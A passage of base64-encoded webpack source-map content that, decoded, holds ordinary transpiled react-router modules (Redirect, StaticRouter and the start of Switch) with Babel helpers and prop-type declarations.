5cGVFcnJvcihcIlN1cGVyIGV4cHJlc3Npb24gbXVzdCBlaXRoZXIgYmUgbnVsbCBvciBhIGZ1bmN0aW9uLCBub3QgXCIgKyB0eXBlb2Ygc3VwZXJDbGFzcyk7IH0gc3ViQ2xhc3MucHJvdG90eXBlID0gT2JqZWN0LmNyZWF0ZShzdXBlckNsYXNzICYmIHN1cGVyQ2xhc3MucHJvdG90eXBlLCB7IGNvbnN0cnVjdG9yOiB7IHZhbHVlOiBzdWJDbGFzcywgZW51bWVyYWJsZTogZmFsc2UsIHdyaXRhYmxlOiB0cnVlLCBjb25maWd1cmFibGU6IHRydWUgfSB9KTsgaWYgKHN1cGVyQ2xhc3MpIE9iamVjdC5zZXRQcm90b3R5cGVPZiA/IE9iamVjdC5zZXRQcm90b3R5cGVPZihzdWJDbGFzcywgc3VwZXJDbGFzcykgOiBzdWJDbGFzcy5fX3Byb3RvX18gPSBzdXBlckNsYXNzOyB9XG5cbmltcG9ydCBSZWFjdCBmcm9tIFwicmVhY3RcIjtcbmltcG9ydCBQcm9wVHlwZXMgZnJvbSBcInByb3AtdHlwZXNcIjtcbmltcG9ydCB3YXJuaW5nIGZyb20gXCJ3YXJuaW5nXCI7XG5pbXBvcnQgaW52YXJpYW50IGZyb20gXCJpbnZhcmlhbnRcIjtcbmltcG9ydCB7IGNyZWF0ZUxvY2F0aW9uLCBsb2NhdGlvbnNBcmVFcXVhbCB9IGZyb20gXCJoaXN0b3J5XCI7XG5pbXBvcnQgZ2VuZXJhdGVQYXRoIGZyb20gXCIuL2dlbmVyYXRlUGF0aFwiO1xuXG4vKipcbiAqIFRoZSBwdWJsaWMgQVBJIGZvciB1cGRhdGluZyB0aGUgbG9jYXRpb24gcHJvZ3JhbW1hdGljYWxseVxuICogd2l0aCBhIGNvbXBvbmVudC5cbiAqL1xuXG52YXIgUmVkaXJlY3QgPSBmdW5jdGlvbiAoX1JlYWN0JENvbXBvbmVudCkge1xuICBfaW5oZXJpdHMoUmVkaXJlY3QsIF9SZWFjdCRDb21wb25lbnQpO1xuXG4gIGZ1bmN0aW9uIFJlZGlyZWN0KCkge1xuICAgIF9jbGFzc0NhbGxDaGVjayh0aGlzLCBSZWRpcmVjdCk7XG5cbiAgICByZXR1cm4gX3Bvc3NpYmxlQ29uc3RydWN0b3JSZXR1cm4odGhpcywgX1JlYWN0JENvbXBvbmVudC5hcHBseSh0aGlzLCBhcmd1bWVudHMpKTtcbiAgfVxuXG4gIFJlZGlyZWN0LnByb3RvdHlwZS5pc1N0YXRpYyA9IGZ1bmN0aW9uIGlzU3RhdGljKCkge1xuICAgIHJldHVybiB0aGlzLmNvbnRleHQucm91dGVyICYmIHRoaXMuY29udGV4dC5yb3V0ZXIuc3RhdGljQ29udGV4dDtcbiAgfTtcblxuICBSZWRpcmVjdC5wcm90b3R5cGUuY29tcG9uZW50V2lsbE1vdW50ID0gZnVuY3Rpb24gY29tcG9uZW50V2lsbE1vdW50KCkge1xuICAgIGludmFyaWFudCh0aGlzLmNvbnRleHQucm91dGVyLCBcIllvdSBzaG91bGQgbm90IHVzZSA8UmVkaXJlY3Q+IG91dHNpZGUgYSA8Um91dGVyPlwiKTtcblxuICAgIGlmICh0aGlzLmlzU3RhdGljKCkpIHRoaXMucGVyZm9ybSgpO1xuICB9O1xuXG4gIFJlZGlyZWN0LnByb3RvdHlwZS5jb21wb25lbnREaWRNb3VudCA9IGZ1bmN0aW9uIGNvbXBvbmVudERpZE1vdW50KCkge1xuICAgIGlmICghdGhpcy5pc1N0YXRpYygpKSB0aGlzLnBlcmZvcm0oKTtcbiAgfTtcblxuICBSZWRpcmVjdC5wcm90b3R5cGUuY29tcG9uZW50RGlkVXBkYXRlID0gZnVuY3Rpb24gY29tcG9uZW50RGlkVXBkYXRlKHByZXZQcm9wcykge1xuICAgIHZhciBwcmV2VG8gPSBjcmVhdGVMb2NhdGlvbihwcmV2UHJvcHMudG8pO1xuICAgIHZhciBuZXh0VG8gPSBjcmVhdGVMb2NhdGlvbih0aGlzLnByb3BzLnRvKTtcblxuICAgIGlmIChsb2NhdGlvbnNBcmVFcXVhbChwcmV2VG8sIG5leHRUbykpIHtcbiAgICAgIHdhcm5pbmcoZmFsc2UsIFwiWW91IHRyaWVkIHRvIHJlZGlyZWN0IHRvIHRoZSBzYW1lIHJvdXRlIHlvdSdyZSBjdXJyZW50bHkgb246IFwiICsgKFwiXFxcIlwiICsgbmV4dFRvLnBhdGhuYW1lICsgbmV4dFRvLnNlYXJjaCArIFwiXFxcIlwiKSk7XG4gICAgICByZXR1cm47XG4gICAgfVxuXG4gICAgdGhpcy5wZXJmb3JtKCk7XG4gIH07XG5cbiAgUmVkaXJlY3QucHJvdG90eXBlLmNvbXB1dGVUbyA9IGZ1bmN0aW9uIGNvbXB1dGVUbyhfcmVmKSB7XG4gICAgdmFyIGNvbXB1dGVkTWF0Y2ggPSBfcmVmLmNvbXB1dGVkTWF0Y2gsXG4gICAgICAgIHRvID0gX3JlZi50bztcblxuICAgIGlmIChjb21wdXRlZE1hdGNoKSB7XG4gICAgICBpZiAodHlwZW9mIHRvID09PSBcInN0cmluZ1wiKSB7XG4gICAgICAgIHJldHVybiBnZW5lcmF0ZVBhdGgodG8sIGNvbXB1dGVkTWF0Y2gucGFyYW1zKTtcbiAgICAgIH0gZWxzZSB7XG4gICAgICAgIHJldHVybiBfZXh0ZW5kcyh7fSwgdG8sIHtcbiAgICAgICAgICBwYXRobmFtZTogZ2VuZXJhdGVQYXRoKHRvLnBhdGhuYW1lLCBjb21wdXRlZE1hdGNoLnBhcmFtcylcbiAgICAgICAgfSk7XG4gICAgICB9XG4gICAgfVxuXG4gICAgcmV0dXJuIHRvO1xuICB9O1xuXG4gIFJlZGlyZWN0LnByb3RvdHlwZS5wZXJmb3JtID0gZnVuY3Rpb24gcGVyZm9ybSgpIHtcbiAgICB2YXIgaGlzdG9yeSA9IHRoaXMuY29udGV4dC5yb3V0ZXIuaGlzdG9yeTtcbiAgICB2YXIgcHVzaCA9IHRoaXMucHJvcHMucHVzaDtcblxuICAgIHZhciB0byA9IHRoaXMuY29tcHV0ZVRvKHRoaXMucHJvcHMpO1xuXG4gICAgaWYgKHB1c2gpIHtcbiAgICAgIGhpc3RvcnkucHVzaCh0byk7XG4gICAgfSBlbHNlIHtcbiAgICAgIGhpc3RvcnkucmVwbGFjZSh0byk7XG4gICAgfVxuICB9O1xuXG4gIFJlZGlyZWN0LnByb3RvdHlwZS5yZW5kZXIgPSBmdW5jdGlvbiByZW5kZXIoKSB7XG4gICAgcmV0dXJuIG51bGw7XG4gIH07XG5cbiAgcmV0dXJuIFJlZGlyZWN0O1xufShSZWFjdC5Db21wb25lbnQpO1xuXG5SZWRpcmVjdC5wcm9wVHlwZXMgPSB7XG4gIGNvbXB1dGVkTWF0Y2g6IFByb3BUeXBlcy5vYmplY3QsIC8vIHByaXZhdGUsIGZyb20gPFN3aXRjaD5cbiAgcHVzaDogUHJvcFR5cGVzLmJvb2wsXG4gIGZyb206IFByb3BUeXBlcy5zdHJpbmcsXG4gIHRvOiBQcm9wVHlwZXMub25lT2ZUeXBlKFtQcm9wVHlwZXMuc3RyaW5nLCBQcm9wVHlwZXMub2JqZWN0XSkuaXNSZXF1aXJlZFxufTtcblJlZGlyZWN0LmRlZmF1bHRQcm9wcyA9IHtcbiAgcHVzaDogZmFsc2Vcbn07XG5SZWRpcmVjdC5jb250ZXh0VHlwZXMgPSB7XG4gIHJvdXRlcjogUHJvcFR5cGVzLnNoYXBlKHtcbiAgICBoaXN0b3J5OiBQcm9wVHlwZXMuc2hhcGUoe1xuICAgICAgcHVzaDogUHJvcFR5cGVzLmZ1bmMuaXNSZXF1aXJlZCxcbiAgICAgIHJlcGxhY2U6IFByb3BUeXBlcy5mdW5jLmlzUmVxdWlyZWRcbiAgICB9KS5pc1JlcXVpcmVkLFxuICAgIHN0YXRpY0NvbnRleHQ6IFByb3BUeXBlcy5vYmplY3RcbiAgfSkuaXNSZXF1aXJlZFxufTtcblxuXG5leHBvcnQgZGVmYXVsdCBSZWRpcmVjdDtcblxuXG4vLy8vLy8vLy8vLy8vLy8vLy9cbi8vIFdFQlBBQ0sgRk9PVEVSXG4vLyAuL25vZGVfbW9kdWxlcy9yZWFjdC1yb3V0ZXIvZXMvUmVkaXJlY3QuanNcbi8vIG1vZHVsZSBpZCA9IDE1M1xuLy8gbW9kdWxlIGNodW5rcyA9IDAgMSAyIDMgNCIsIi8vIFdyaXR0ZW4gaW4gdGhpcyByb3VuZCBhYm91dCB3YXkgZm9yIGJhYmVsLXRyYW5zZm9ybS1pbXBvcnRzXG5pbXBvcnQgU3RhdGljUm91dGVyIGZyb20gXCJyZWFjdC1yb3V0ZXIvZXMvU3RhdGljUm91dGVyXCI7XG5cbmV4cG9ydCBkZWZhdWx0IFN0YXRpY1JvdXRlcjtcblxuXG4vLy8vLy8vLy8vLy8vLy8vLy9cbi8vIFdFQlBBQ0sgRk9PVEVSXG4vLyAuL25vZGVfbW9kdWxlcy9yZWFjdC1yb3V0ZXItZG9tL2VzL1N0YXRpY1JvdXRlci5qc1xuLy8gbW9kdWxlIGlkID0gMTU0XG4vLyBtb2R1bGUgY2h1bmtzID0gMCAxIDIgMyA0IiwidmFyIF9leHRlbmRzID0gT2JqZWN0LmFzc2lnbiB8fCBmdW5jdGlvbiAodGFyZ2V0KSB7IGZvciAodmFyIGkgPSAxOyBpIDwgYXJndW1lbnRzLmxlbmd0aDsgaSsrKSB7IHZhciBzb3VyY2UgPSBhcmd1bWVudHNbaV07IGZvciAodmFyIGtleSBpbiBzb3VyY2UpIHsgaWYgKE9iamVjdC5wcm90b3R5cGUuaGFzT3duUHJvcGVydHkuY2FsbChzb3VyY2UsIGtleSkpIHsgdGFyZ2V0W2tleV0gPSBzb3VyY2Vba2V5XTsgfSB9IH0gcmV0dXJuIHRhcmdldDsgfTtcblxuZnVuY3Rpb24gX29iamVjdFdpdGhvdXRQcm9wZXJ0aWVzKG9iaiwga2V5cykgeyB2YXIgdGFyZ2V0ID0ge307IGZvciAodmFyIGkgaW4gb2JqKSB7IGlmIChrZXlzLmluZGV4T2YoaSkgPj0gMCkgY29udGludWU7IGlmICghT2JqZWN0LnByb3RvdHlwZS5oYXNPd25Qcm9wZXJ0eS5jYWxsKG9iaiwgaSkpIGNvbnRpbnVlOyB0YXJnZXRbaV0gPSBvYmpbaV07IH0gcmV0dXJuIHRhcmdldDsgfVxuXG5mdW5jdGlvbiBfY2xhc3NDYWxsQ2hlY2soaW5zdGFuY2UsIENvbnN0cnVjdG9yKSB7IGlmICghKGluc3RhbmNlIGluc3RhbmNlb2YgQ29uc3RydWN0b3IpKSB7IHRocm93IG5ldyBUeXBlRXJyb3IoXCJDYW5ub3QgY2FsbCBhIGNsYXNzIGFzIGEgZnVuY3Rpb25cIik7IH0gfVxuXG5mdW5jdGlvbiBfcG9zc2libGVDb25zdHJ1Y3RvclJldHVybihzZWxmLCBjYWxsKSB7IGlmICghc2VsZikgeyB0aHJvdyBuZXcgUmVmZXJlbmNlRXJyb3IoXCJ0aGlzIGhhc24ndCBiZWVuIGluaXRpYWxpc2VkIC0gc3VwZXIoKSBoYXNuJ3QgYmVlbiBjYWxsZWRcIik7IH0gcmV0dXJuIGNhbGwgJiYgKHR5cGVvZiBjYWxsID09PSBcIm9iamVjdFwiIHx8IHR5cGVvZiBjYWxsID09PSBcImZ1bmN0aW9uXCIpID8gY2FsbCA6IHNlbGY7IH1cblxuZnVuY3Rpb24gX2luaGVyaXRzKHN1YkNsYXNzLCBzdXBlckNsYXNzKSB7IGlmICh0eXBlb2Ygc3VwZXJDbGFzcyAhPT0gXCJmdW5jdGlvblwiICYmIHN1cGVyQ2xhc3MgIT09IG51bGwpIHsgdGhyb3cgbmV3IFR5cGVFcnJvcihcIlN1cGVyIGV4cHJlc3Npb24gbXVzdCBlaXRoZXIgYmUgbnVsbCBvciBhIGZ1bmN0aW9uLCBub3QgXCIgKyB0eXBlb2Ygc3VwZXJDbGFzcyk7IH0gc3ViQ2xhc3MucHJvdG90eXBlID0gT2JqZWN0LmNyZWF0ZShzdXBlckNsYXNzICYmIHN1cGVyQ2xhc3MucHJvdG90eXBlLCB7IGNvbnN0cnVjdG9yOiB7IHZhbHVlOiBzdWJDbGFzcywgZW51bWVyYWJsZTogZmFsc2UsIHdyaXRhYmxlOiB0cnVlLCBjb25maWd1cmFibGU6IHRydWUgfSB9KTsgaWYgKHN1cGVyQ2xhc3MpIE9iamVjdC5zZXRQcm90b3R5cGVPZiA/IE9iamVjdC5zZXRQcm90b3R5cGVPZihzdWJDbGFzcywgc3VwZXJDbGFzcykgOiBzdWJDbGFzcy5fX3Byb3RvX18gPSBzdXBlckNsYXNzOyB9XG5cbmltcG9ydCB3YXJuaW5nIGZyb20gXCJ3YXJuaW5nXCI7XG5pbXBvcnQgaW52YXJpYW50IGZyb20gXCJpbnZhcmlhbnRcIjtcbmltcG9ydCBSZWFjdCBmcm9tIFwicmVhY3RcIjtcbmltcG9ydCBQcm9wVHlwZXMgZnJvbSBcInByb3AtdHlwZXNcIjtcbmltcG9ydCB7IGNyZWF0ZUxvY2F0aW9uLCBjcmVhdGVQYXRoIH0gZnJvbSBcImhpc3RvcnlcIjtcbmltcG9ydCBSb3V0ZXIgZnJvbSBcIi4vUm91dGVyXCI7XG5cbnZhciBhZGRMZWFkaW5nU2xhc2ggPSBmdW5jdGlvbiBhZGRMZWFkaW5nU2xhc2gocGF0aCkge1xuICByZXR1cm4gcGF0aC5jaGFyQXQoMCkgPT09IFwiL1wiID8gcGF0aCA6IFwiL1wiICsgcGF0aDtcbn07XG5cbnZhciBhZGRCYXNlbmFtZSA9IGZ1bmN0aW9uIGFkZEJhc2VuYW1lKGJhc2VuYW1lLCBsb2NhdGlvbikge1xuICBpZiAoIWJhc2VuYW1lKSByZXR1cm4gbG9jYXRpb247XG5cbiAgcmV0dXJuIF9leHRlbmRzKHt9LCBsb2NhdGlvbiwge1xuICAgIHBhdGhuYW1lOiBhZGRMZWFkaW5nU2xhc2goYmFzZW5hbWUpICsgbG9jYXRpb24ucGF0aG5hbWVcbiAgfSk7XG59O1xuXG52YXIgc3RyaXBCYXNlbmFtZSA9IGZ1bmN0aW9uIHN0cmlwQmFzZW5hbWUoYmFzZW5hbWUsIGxvY2F0aW9uKSB7XG4gIGlmICghYmFzZW5hbWUpIHJldHVybiBsb2NhdGlvbjtcblxuICB2YXIgYmFzZSA9IGFkZExlYWRpbmdTbGFzaChiYXNlbmFtZSk7XG5cbiAgaWYgKGxvY2F0aW9uLnBhdGhuYW1lLmluZGV4T2YoYmFzZSkgIT09IDApIHJldHVybiBsb2NhdGlvbjtcblxuICByZXR1cm4gX2V4dGVuZHMoe30sIGxvY2F0aW9uLCB7XG4gICAgcGF0aG5hbWU6IGxvY2F0aW9uLnBhdGhuYW1lLnN1YnN0cihiYXNlLmxlbmd0aClcbiAgfSk7XG59O1xuXG52YXIgY3JlYXRlVVJMID0gZnVuY3Rpb24gY3JlYXRlVVJMKGxvY2F0aW9uKSB7XG4gIHJldHVybiB0eXBlb2YgbG9jYXRpb24gPT09IFwic3RyaW5nXCIgPyBsb2NhdGlvbiA6IGNyZWF0ZVBhdGgobG9jYXRpb24pO1xufTtcblxudmFyIHN0YXRpY0hhbmRsZXIgPSBmdW5jdGlvbiBzdGF0aWNIYW5kbGVyKG1ldGhvZE5hbWUpIHtcbiAgcmV0dXJuIGZ1bmN0aW9uICgpIHtcbiAgICBpbnZhcmlhbnQoZmFsc2UsIFwiWW91IGNhbm5vdCAlcyB3aXRoIDxTdGF0aWNSb3V0ZXI+XCIsIG1ldGhvZE5hbWUpO1xuICB9O1xufTtcblxudmFyIG5vb3AgPSBmdW5jdGlvbiBub29wKCkge307XG5cbi8qKlxuICogVGhlIHB1YmxpYyB0b3AtbGV2ZWwgQVBJIGZvciBhIFwic3RhdGljXCIgPFJvdXRlcj4sIHNvLWNhbGxlZCBiZWNhdXNlIGl0XG4gKiBjYW4ndCBhY3R1YWxseSBjaGFuZ2UgdGhlIGN1cnJlbnQgbG9jYXRpb24uIEluc3RlYWQsIGl0IGp1c3QgcmVjb3Jkc1xuICogbG9jYXRpb24gY2hhbmdlcyBpbiBhIGNvbnRleHQgb2JqZWN0LiBVc2VmdWwgbWFpbmx5IGluIHRlc3RpbmcgYW5kXG4gKiBzZXJ2ZXItcmVuZGVyaW5nIHNjZW5hcmlvcy5cbiAqL1xuXG52YXIgU3RhdGljUm91dGVyID0gZnVuY3Rpb24gKF9SZWFjdCRDb21wb25lbnQpIHtcbiAgX2luaGVyaXRzKFN0YXRpY1JvdXRlciwgX1JlYWN0JENvbXBvbmVudCk7XG5cbiAgZnVuY3Rpb24gU3RhdGljUm91dGVyKCkge1xuICAgIHZhciBfdGVtcCwgX3RoaXMsIF9yZXQ7XG5cbiAgICBfY2xhc3NDYWxsQ2hlY2sodGhpcywgU3RhdGljUm91dGVyKTtcblxuICAgIGZvciAodmFyIF9sZW4gPSBhcmd1bWVudHMubGVuZ3RoLCBhcmdzID0gQXJyYXkoX2xlbiksIF9rZXkgPSAwOyBfa2V5IDwgX2xlbjsgX2tleSsrKSB7XG4gICAgICBhcmdzW19rZXldID0gYXJndW1lbnRzW19rZXldO1xuICAgIH1cblxuICAgIHJldHVybiBfcmV0ID0gKF90ZW1wID0gKF90aGlzID0gX3Bvc3NpYmxlQ29uc3RydWN0b3JSZXR1cm4odGhpcywgX1JlYWN0JENvbXBvbmVudC5jYWxsLmFwcGx5KF9SZWFjdCRDb21wb25lbnQsIFt0aGlzXS5jb25jYXQoYXJncykpKSwgX3RoaXMpLCBfdGhpcy5jcmVhdGVIcmVmID0gZnVuY3Rpb24gKHBhdGgpIHtcbiAgICAgIHJldHVybiBhZGRMZWFkaW5nU2xhc2goX3RoaXMucHJvcHMuYmFzZW5hbWUgKyBjcmVhdGVVUkwocGF0aCkpO1xuICAgIH0sIF90aGlzLmhhbmRsZVB1c2ggPSBmdW5jdGlvbiAobG9jYXRpb24pIHtcbiAgICAgIHZhciBfdGhpcyRwcm9wcyA9IF90aGlzLnByb3BzLFxuICAgICAgICAgIGJhc2VuYW1lID0gX3RoaXMkcHJvcHMuYmFzZW5hbWUsXG4gICAgICAgICAgY29udGV4dCA9IF90aGlzJHByb3BzLmNvbnRleHQ7XG5cbiAgICAgIGNvbnRleHQuYWN0aW9uID0gXCJQVVNIXCI7XG4gICAgICBjb250ZXh0LmxvY2F0aW9uID0gYWRkQmFzZW5hbWUoYmFzZW5hbWUsIGNyZWF0ZUxvY2F0aW9uKGxvY2F0aW9uKSk7XG4gICAgICBjb250ZXh0LnVybCA9IGNyZWF0ZVVSTChjb250ZXh0LmxvY2F0aW9uKTtcbiAgICB9LCBfdGhpcy5oYW5kbGVSZXBsYWNlID0gZnVuY3Rpb24gKGxvY2F0aW9uKSB7XG4gICAgICB2YXIgX3RoaXMkcHJvcHMyID0gX3RoaXMucHJvcHMsXG4gICAgICAgICAgYmFzZW5hbWUgPSBfdGhpcyRwcm9wczIuYmFzZW5hbWUsXG4gICAgICAgICAgY29udGV4dCA9IF90aGlzJHByb3BzMi5jb250ZXh0O1xuXG4gICAgICBjb250ZXh0LmFjdGlvbiA9IFwiUkVQTEFDRVwiO1xuICAgICAgY29udGV4dC5sb2NhdGlvbiA9IGFkZEJhc2VuYW1lKGJhc2VuYW1lLCBjcmVhdGVMb2NhdGlvbihsb2NhdGlvbikpO1xuICAgICAgY29udGV4dC51cmwgPSBjcmVhdGVVUkwoY29udGV4dC5sb2NhdGlvbik7XG4gICAgfSwgX3RoaXMuaGFuZGxlTGlzdGVuID0gZnVuY3Rpb24gKCkge1xuICAgICAgcmV0dXJuIG5vb3A7XG4gICAgfSwgX3RoaXMuaGFuZGxlQmxvY2sgPSBmdW5jdGlvbiAoKSB7XG4gICAgICByZXR1cm4gbm9vcDtcbiAgICB9LCBfdGVtcCksIF9wb3NzaWJsZUNvbnN0cnVjdG9yUmV0dXJuKF90aGlzLCBfcmV0KTtcbiAgfVxuXG4gIFN0YXRpY1JvdXRlci5wcm90b3R5cGUuZ2V0Q2hpbGRDb250ZXh0ID0gZnVuY3Rpb24gZ2V0Q2hpbGRDb250ZXh0KCkge1xuICAgIHJldHVybiB7XG4gICAgICByb3V0ZXI6IHtcbiAgICAgICAgc3RhdGljQ29udGV4dDogdGhpcy5wcm9wcy5jb250ZXh0XG4gICAgICB9XG4gICAgfTtcbiAgfTtcblxuICBTdGF0aWNSb3V0ZXIucHJvdG90eXBlLmNvbXBvbmVudFdpbGxNb3VudCA9IGZ1bmN0aW9uIGNvbXBvbmVudFdpbGxNb3VudCgpIHtcbiAgICB3YXJuaW5nKCF0aGlzLnByb3BzLmhpc3RvcnksIFwiPFN0YXRpY1JvdXRlcj4gaWdub3JlcyB0aGUgaGlzdG9yeSBwcm9wLiBUbyB1c2UgYSBjdXN0b20gaGlzdG9yeSwgXCIgKyBcInVzZSBgaW1wb3J0IHsgUm91dGVyIH1gIGluc3RlYWQgb2YgYGltcG9ydCB7IFN0YXRpY1JvdXRlciBhcyBSb3V0ZXIgfWAuXCIpO1xuICB9O1xuXG4gIFN0YXRpY1JvdXRlci5wcm90b3R5cGUucmVuZGVyID0gZnVuY3Rpb24gcmVuZGVyKCkge1xuICAgIHZhciBfcHJvcHMgPSB0aGlzLnByb3BzLFxuICAgICAgICBiYXNlbmFtZSA9IF9wcm9wcy5iYXNlbmFtZSxcbiAgICAgICAgY29udGV4dCA9IF9wcm9wcy5jb250ZXh0LFxuICAgICAgICBsb2NhdGlvbiA9IF9wcm9wcy5sb2NhdGlvbixcbiAgICAgICAgcHJvcHMgPSBfb2JqZWN0V2l0aG91dFByb3BlcnRpZXMoX3Byb3BzLCBbXCJiYXNlbmFtZVwiLCBcImNvbnRleHRcIiwgXCJsb2NhdGlvblwiXSk7XG5cbiAgICB2YXIgaGlzdG9yeSA9IHtcbiAgICAgIGNyZWF0ZUhyZWY6IHRoaXMuY3JlYXRlSHJlZixcbiAgICAgIGFjdGlvbjogXCJQT1BcIixcbiAgICAgIGxvY2F0aW9uOiBzdHJpcEJhc2VuYW1lKGJhc2VuYW1lLCBjcmVhdGVMb2NhdGlvbihsb2NhdGlvbikpLFxuICAgICAgcHVzaDogdGhpcy5oYW5kbGVQdXNoLFxuICAgICAgcmVwbGFjZTogdGhpcy5oYW5kbGVSZXBsYWNlLFxuICAgICAgZ286IHN0YXRpY0hhbmRsZXIoXCJnb1wiKSxcbiAgICAgIGdvQmFjazogc3RhdGljSGFuZGxlcihcImdvQmFja1wiKSxcbiAgICAgIGdvRm9yd2FyZDogc3RhdGljSGFuZGxlcihcImdvRm9yd2FyZFwiKSxcbiAgICAgIGxpc3RlbjogdGhpcy5oYW5kbGVMaXN0ZW4sXG4gICAgICBibG9jazogdGhpcy5oYW5kbGVCbG9ja1xuICAgIH07XG5cbiAgICByZXR1cm4gUmVhY3QuY3JlYXRlRWxlbWVudChSb3V0ZXIsIF9leHRlbmRzKHt9LCBwcm9wcywgeyBoaXN0b3J5OiBoaXN0b3J5IH0pKTtcbiAgfTtcblxuICByZXR1cm4gU3RhdGljUm91dGVyO1xufShSZWFjdC5Db21wb25lbnQpO1xuXG5TdGF0aWNSb3V0ZXIucHJvcFR5cGVzID0ge1xuICBiYXNlbmFtZTogUHJvcFR5cGVzLnN0cmluZyxcbiAgY29udGV4dDogUHJvcFR5cGVzLm9iamVjdC5pc1JlcXVpcmVkLFxuICBsb2NhdGlvbjogUHJvcFR5cGVzLm9uZU9mVHlwZShbUHJvcFR5cGVzLnN0cmluZywgUHJvcFR5cGVzLm9iamVjdF0pXG59O1xuU3RhdGljUm91dGVyLmRlZmF1bHRQcm9wcyA9IHtcbiAgYmFzZW5hbWU6IFwiXCIsXG4gIGxvY2F0aW9uOiBcIi9cIlxufTtcblN0YXRpY1JvdXRlci5jaGlsZENvbnRleHRUeXBlcyA9IHtcbiAgcm91dGVyOiBQcm9wVHlwZXMub2JqZWN0LmlzUmVxdWlyZWRcbn07XG5cblxuZXhwb3J0IGRlZmF1bHQgU3RhdGljUm91dGVyO1xuXG5cbi8vLy8vLy8vLy8vLy8vLy8vL1xuLy8gV0VCUEFDSyBGT09URVJcbi8vIC4vbm9kZV9tb2R1bGVzL3JlYWN0LXJvdXRlci9lcy9TdGF0aWNSb3V0ZXIuanNcbi8vIG1vZHVsZSBpZCA9IDE1NVxuLy8gbW9kdWxlIGNodW5rcyA9IDAgMSAyIDMgNCIsIi8vIFdyaXR0ZW4gaW4gdGhpcyByb3VuZCBhYm91dCB3YXkgZm9yIGJhYmVsLXRyYW5zZm9ybS1pbXBvcnRzXG5pbXBvcnQgU3dpdGNoIGZyb20gXCJyZWFjdC1yb3V0ZXIvZXMvU3dpdGNoXCI7XG5cbmV4cG9ydCBkZWZhdWx0IFN3aXRjaDtcblxuXG4vLy8vLy8vLy8vLy8vLy8vLy9cbi8vIFdFQlBBQ0sgRk9PVEVSXG4vLyAuL25vZGVfbW9kdWxlcy9yZWFjdC1yb3V0ZXItZG9tL2VzL1N3aXRjaC5qc1xuLy8gbW9kdWxlIGlkID0gMTU2XG4vLyBtb2R1bGUgY2h1bmtzID0gMCAxIDIgMyA0IiwiZnVuY3Rpb24gX2NsYXNzQ2FsbENoZWNrKGluc3RhbmNlLCBDb25zdHJ1Y3RvcikgeyBpZiAoIShpbnN0YW5jZSBpbnN0YW5jZW9mIENvbnN0cnVjdG9yKSkgeyB0aHJvdyBuZXcgVHlwZUVycm9yKFwiQ2Fubm90IGNhbGwgYSBjbGFzcyBhcyBhIGZ1bmN0aW9uXCIpOyB9IH1cblxuZnVuY3Rpb24gX3Bvc3NpYmxlQ29uc3RydWN0b3JSZXR1cm4oc2VsZiwgY2FsbCkgeyBpZiAoIXNlbGYpIHsgdGhyb3cgbmV3IFJlZmVyZW5jZUVycm9yKFwidGhpcyBoYXNuJ3QgYmVlbiBpbml0aWFsaXNlZCAtIHN1cGVyKCkgaGFzbid0IGJlZW4gY2FsbGVkXCIpOyB9IHJldHVybiBjYWxsICYmICh0eXBlb2YgY2FsbCA9PT0gXCJvYmplY3RcIiB8fCB0eXBlb2YgY2FsbCA9PT0gXCJmdW5jdGlvblwiKSA/IGNhbGwgOiBzZWxmOyB9XG5cbmZ1bmN0aW9uIF9pbmhlcml0cyhzdWJDbGFzcywgc3VwZXJDbGFzcykgeyBpZiAodHlwZW9mIHN1cGVyQ2xhc3MgIT09IFwiZnVuY3Rpb25cIiAmJiBzdXBlckNsYXNzICE9PSBudWxsKSB7IHRocm93IG5ldyBUeXBlRXJyb3IoXCJTdXBlciBleHByZXNzaW9uIG11c3QgZWl0aGVyIGJlIG51bGwgb3IgYSBmdW5jdGlvbiwgbm90IFwiICsgdHlwZW9mIHN1cGVyQ2xhc3MpOyB9IHN1YkNsYXNzLnByb3RvdHlwZSA9IE9iamVjdC5jcmVhdGUoc3VwZXJDbGFzcyAmJiBzdXBlckNsYXNzLnByb3RvdHlwZSwgeyBjb25zdHJ1Y3RvcjogeyB2YWx1ZTogc3ViQ2xhc3MsIGVudW1lcmFibGU6IGZhbHNlLCB3cml0YWJsZTogdHJ1ZSwgY29uZmlndXJhYmxlOiB0cnVlIH0gfSk7IGlmIChzdXBlckNsYXNzKSBPYmplY3Quc2V0UHJvdG90eXBlT2YgPyBPYmplY3Quc2V0UHJvdG90eXBlT2Yoc3ViQ2xhc3MsIHN1cGVyQ2xhc3MpIDogc3ViQ2xhc3MuX19wcm90b19fID0gc3VwZXJDbGFzczsgfVxuXG5pbXBvcnQgUmVhY3QgZnJvbSBcInJlYWN0XCI7XG5pbXBvcnQgUHJvcFR5cGVzIGZyb20gXCJwcm9wLXR5cGVzXCI7XG5pbXBvcnQgd2FybmluZyBmcm9tIFwid2FybmluZ1wiO1xuaW1wb3J0IGludmFyaWFudCBmcm9tIFwiaW52YXJpYW50XCI7XG5pbXBvcnQgbWF0Y2hQYXRoIGZyb20gXCIuL21hdGNoUGF0aFwiO1xuXG4vKipcbiAqIFRoZSBwdWJsaWMgQVBJIGZvciByZW5kZXJpbmcgdGhlIGZpcnN0IDxSb3V0ZT4gdGhhdCBtYXRjaGVzLlxuICovXG5cbnZhciBTd2l0Y2ggPSBmdW5jdGlvbiAoX1JlYWN0JENvbXBvbmVudCkge1xuICBfaW5oZXJpdHMoU3dpdGNoLCBfUmVhY3QkQ29tcG9uZW50KTtcblxuICBmdW5jdGlvbiBTd2l0Y2goKSB7XG4gICAgX2NsYXNzQ2FsbENoZWNrKHRoaXMsIFN3aXRjaCk7XG5cbiAgICByZXR1cm4gX3Bvc3NpYmxlQ29uc3RydWN0b3JSZXR1cm4odGhpcywgX1JlYWN0JENvbXBvbmVudC5hcHBseSh0aGlzLCBhcmd1bWVudHMpKTtcbiAgfVxuXG4gIFN3aXRjaC5wcm90b3R5cGUuY29tcG9uZW50V2lsbE1vdW50ID0gZnVuY3Rpb24gY29tcG9uZW50V2lsbE1vdW50KCkge1xuICAgIGludmFyaWFudCh0aGlzLmNvbnRleHQucm91dGVyLCBcIllvdSBzaG91bGQgbm90IHVzZSA8U3dpdGNoPiBvdXRzaWRlIGEgPFJvdXRlcj5cIik7XG4gIH07XG5cbiAgU3dpdGNoLnByb3RvdHlwZS5jb21wb25lbnRXaWxsUmVjZWl2ZVByb3BzID0gZnVuY3Rpb24gY29tcG9uZW50V2lsbFJlY2VpdmVQcm9wcyhuZXh0UHJvcHMpIHtcbiAgICB3YXJuaW5nKCEobmV4dFByb3BzLmxvY2F0aW9uICYmICF0aGlzLnByb3BzLmxvY2F0aW9uKSwgJzxTd2l0Y2g+IGVsZW1lbnRzI